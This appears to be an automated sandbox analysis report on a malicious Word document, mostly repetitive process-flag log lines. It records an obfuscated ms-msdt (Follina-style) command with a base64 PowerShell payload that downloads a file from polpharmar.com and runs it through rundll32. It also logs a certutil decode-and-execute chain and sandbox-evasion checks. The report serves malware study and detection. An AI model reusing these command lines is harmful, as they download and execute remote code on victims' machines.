Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5wwnjf5w\5wwnjf5w.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\w5csyjot\w5csyjot.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3d50mnu3\3d50mnu3.dll Jump to dropped file
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\msdt.exe Window / User API: threadDelayed 1333 Jump to behavior
Contains functionality to detect sandboxes (mouse cursor move detection)
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: GetCurrentThreadId,GetCursorPos,WaitForSingleObject, 36_2_00465A58
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Roaming\POtest.exe API coverage: 5.2 %
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_00405EF0 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 36_2_00405EF0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0047DB94 LoadLibraryA,GetProcAddress,GetProcAddress, 36_2_0047DB94

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 91.235.116.180 80 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Domain query: polpharmar.com
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/ID PcwdiAgnOSTiC -sKiP forCe -pArAm "IT_ReBRowseforfiLE=#Ja2Y IT_LaunchMethod=ContextMenu IT_BrowseForFile=W5A$(Iex($(IeX('[sYSTem.teXt.enCODinG]'+[cHar]58+[chAR]58+'uTf8.geTStRiNg([sYStem.CoNVErT]'+[char]58+[char]0x3A+'fRombASe64StRINg('+[CHar]0X22+'U1RPcC1Qck9jZXNTIC1mb1JjZSAtTmFNZSAnbXNkdCc7JEtZID0gYWRkLXRZUEUgLW1lbUJlcmRFRmluaVRJT04gJ1tEbGxJbXBvcnQoIlVSbG1vTi5EbEwiLCBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyIFIsc3RyaW5nIGJpTCxzdHJpbmcgdXdlLHVpbnQgUm5vLEludFB0ciB1Ryk7JyAtbkFtRSAiWXZRIiAtTkFtRVNQYUNlIEhLZyAtUGFzc1RocnU7ICRLWTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovL3BvbHBoYXJtYXIuY29tL3Rlc3QuaW5mIiwiJGVudjpBUFBEQVRBXHRlc3QuaW5mIiwwLDApO1NUYXJ0LXNMRWVQKDMpO1J1bkRsbDMyLkVYZSBhZHZwQWNLLmRsTCxMYXVuY2hJTkZTZWN0aW9uRXggIiRlTlY6QVBQREFUQVx0ZXN0LmluZiIsREVmQXVsdEluc1RBbGxfU0luZ2xFVVNFciwiJGVOdjpBUFBEQVRBXHRlc3QuaW5mIiw0LDA7U1RvUC1QUm9jRVNTIC1Gb3JDZSAtTmFNZSAnc2RpYWduaG9zdCc='+[CHar]34+'))'))))xW/../../../../../../../../../../../../../../../../.MsI
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe C:\WiNDOws\SYsTEm32\cmd.eXe /C MORe /e +32 %apPDAta%\test.inf > %apPDAta%\kk.txt && cErtUtiL.eXE -DeCODeheX %apPDAta%\kk.txt %apPDAta%\vv.jpg && RunDLL32.exe %apPDAta%\vv.jpg,maintest && DEL %apPDAta%\kk.txt && DeL %apPDAta%\vv.jpg && DEl %apPDAta%\test.inf
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/ID PcwdiAgnOSTiC -sKiP forCe -pArAm "IT_ReBRowseforfiLE=#Ja2Y IT_LaunchMethod=ContextMenu IT_BrowseForFile=W5A$(Iex($(IeX('[sYSTem.teXt.enCODinG]'+[cHar]58+[chAR]58+'uTf8.geTStRiNg([sYStem.CoNVErT]'+[char]58+[char]0x3A+'fRombASe64StRINg('+[CHar]0X22+'U1RPcC1Qck9jZXNTIC1mb1JjZSAtTmFNZSAnbXNkdCc7JEtZID0gYWRkLXRZUEUgLW1lbUJlcmRFRmluaVRJT04gJ1tEbGxJbXBvcnQoIlVSbG1vTi5EbEwiLCBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyIFIsc3RyaW5nIGJpTCxzdHJpbmcgdXdlLHVpbnQgUm5vLEludFB0ciB1Ryk7JyAtbkFtRSAiWXZRIiAtTkFtRVNQYUNlIEhLZyAtUGFzc1RocnU7ICRLWTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovL3BvbHBoYXJtYXIuY29tL3Rlc3QuaW5mIiwiJGVudjpBUFBEQVRBXHRlc3QuaW5mIiwwLDApO1NUYXJ0LXNMRWVQKDMpO1J1bkRsbDMyLkVYZSBhZHZwQWNLLmRsTCxMYXVuY2hJTkZTZWN0aW9uRXggIiRlTlY6QVBQREFUQVx0ZXN0LmluZiIsREVmQXVsdEluc1RBbGxfU0luZ2xFVVNFciwiJGVOdjpBUFBEQVRBXHRlc3QuaW5mIiw0LDA7U1RvUC1QUm9jRVNTIC1Gb3JDZSAtTmFNZSAnc2RpYWduaG9zdCc='+[CHar]34+'))'))))xW/../../../../../../../../../../../../../../../../.MsI Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FCE.tmp" "c:\Users\user\AppData\Local\Temp\3d50mnu3\CSCDC232D29FB9E414B97C7E48E45A16060.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAC3F.tmp" "c:\Users\user\AppData\Local\Temp\w5csyjot\CSC6CDACC821E67439283A644DCB258474.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6D3D.tmp" "c:\Users\user\AppData\Local\Temp\5wwnjf5w\CSC7D879DDA4AF844DBA2BC4075E8CB5965.TMP" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\more.com MORe /e +32 C:\Users\user\AppData\Roaming\test.inf Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\certutil.exe cErtUtiL.eXE -DeCODeheX C:\Users\user\AppData\Roaming\kk.txt C:\Users\user\AppData\Roaming\vv.jpg Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe RunDLL32.exe C:\Users\user\AppData\Roaming\vv.jpg,maintest Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00116~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query locales information (e.g. system language)
